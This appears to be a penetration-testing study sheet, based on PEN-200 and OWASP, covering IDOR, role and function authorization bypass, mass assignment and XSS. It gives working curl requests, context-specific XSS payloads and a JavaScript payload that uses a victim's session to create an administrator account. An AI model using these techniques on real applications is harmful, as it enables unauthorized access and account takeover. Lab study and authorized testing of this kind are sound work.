Web Access Control, API Logic and XSS
← Stage index · Web mapping · Quick sheet · Mechanics | Strategy map | Study methods: Turn application weaknesses into access
Use when: the mapped application exposes object identifiers, roles/properties, privileged functions or user-controlled content rendered in a browser.
Object-level authorization / IDOR
Use two controlled lab identities and one object owned by each:
GET /api/orders/OBJECT_B HTTP/1.1
Host: DOMAIN
Authorization: Bearer USER_A_TOKEN
- Save user A's successful request for object A.
- Change only the path/query/body object reference to object B.
- Keep A's token.
- Verify disclosure or the intended update/delete effect against B's object.
Decisive output: data or a state change belonging to B under A's context. A different error or
200wrapper is not enough.
Function- and role-level authorization
Replay the same operation as:
anonymous -> ordinary user -> alternate ordinary user -> administrator
Compare UI and API paths, then test the legitimate method variants suggested by captured traffic or documentation.
curl -ski -b user-a.cookies http://TARGET:PORT/admin/PATH
curl -ski -X POST -b user-a.cookies -H 'Content-Type: application/json' -d '{"action":"EXPECTED_ACTION"}' http://TARGET:PORT/api/admin/PATH
Failure cue: a route name containing
admindoes not establish a bypass. Verify a privileged read or action under the lower-privileged identity.
Mass assignment / excessive properties
Start with a valid captured registration/update request and add one server-owned property:
curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register
Decisive output: authenticate as the new/updated identity and perform an administrator-only action. An echoed or stored
rolefield may be ignored by authorization logic.
Variant — method mismatch reveals a valid route
curl -ski http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X OPTIONS http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X PUT -H 'Authorization: Bearer TOKEN' -H 'Content-Type: application/json' -d '{"password":"NEW_PASSWORD"}' http://TARGET:PORT/api/v1/users/USER/password
Use PUT/PATCH only when a 405, Allow header, documentation or JavaScript behavior supports it. Verify the new credential through a separate login.
XSS: prove browser execution in the right context
First inject a unique text marker and inspect where it appears in raw HTML and the DOM. Then use a controlled proof appropriate to the context:
<img src=x onerror=alert(document.domain)>
Classify the path:
- reflected: victim must visit a crafted request;
- stored: payload persists and a relevant user later renders it;
- DOM-based: client-side code moves controlled data into an executable DOM sink.
Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.
Match the proof to the observed parser context rather than trying a random payload list:
| Observed insertion context | Minimal lab proof candidate | What failure means |
|---|---|---|
| HTML element body | <svg onload=alert(document.domain)> | Sanitization, CSP or non-executable render context |
| Double-quoted attribute | " autofocus onfocus="alert(document.domain) | Quote may be encoded or event attribute stripped |
| Existing JavaScript string | ';alert(document.domain);// | Input may be JSON/string escaped or not reach executable script |
| URL-decoded parameter | percent-encode the context-matched payload in the request | Decode layer or client normalization differs |
Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.
Turn XSS into useful application privilege
HttpOnly prevents JavaScript from reading that cookie, but same-origin XSS may still issue authenticated requests from the victim browser. Recreate a legitimate privileged workflow and obtain its anti-CSRF value first:
fetch('/admin/users/new')
.then(r => r.text())
.then(t => {
const token = new DOMParser().parseFromString(t, 'text/html')
.querySelector('input[name="csrf"]')?.value;
return fetch('/admin/users', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: new URLSearchParams({username:'NEW_USER', password:'NEW_PASSWORD', role:'administrator', csrf:token})
});
});
Prerequisites: the payload is rendered by a suitably privileged victim, under the correct origin; the paths/fields come from captured normal behavior; CSP and application logic allow execution; the action is permitted in the victim session.
Verification: authenticate as
NEW_USERand perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.
Failure cues
- input appears encoded as
<...>: output encoding worked in that context; - script runs only for the tester: reflected/self-XSS without a delivery/viewer path;
- stored marker exists but script never runs: wrong render context, sanitization or CSP;
- cookie cannot be read: check
HttpOnly, but do not infer that authenticated same-origin requests are blocked; - privileged request returns success text but no state changes: token/field/role may be wrong; verify independently;
- user A reads only A's data after ID change: object-level control held in that tested context.
Handoffs
- new password/token/account -> Block 5 plus authenticated Block 3 mapping;
- product/plugin feature requiring public code -> Block 6;
- admin upload/template editor -> web file handling;
- verified server command execution -> Block 7;
- no useful viewer/action -> record XSS proof and return to higher-priority server-side inputs.
Sources
Supplied PEN-200 Ch 8.3-8.4, pp225-244; reviewed getSH Web/XSS route; OWASP IDOR testing; OWASP stored XSS testing.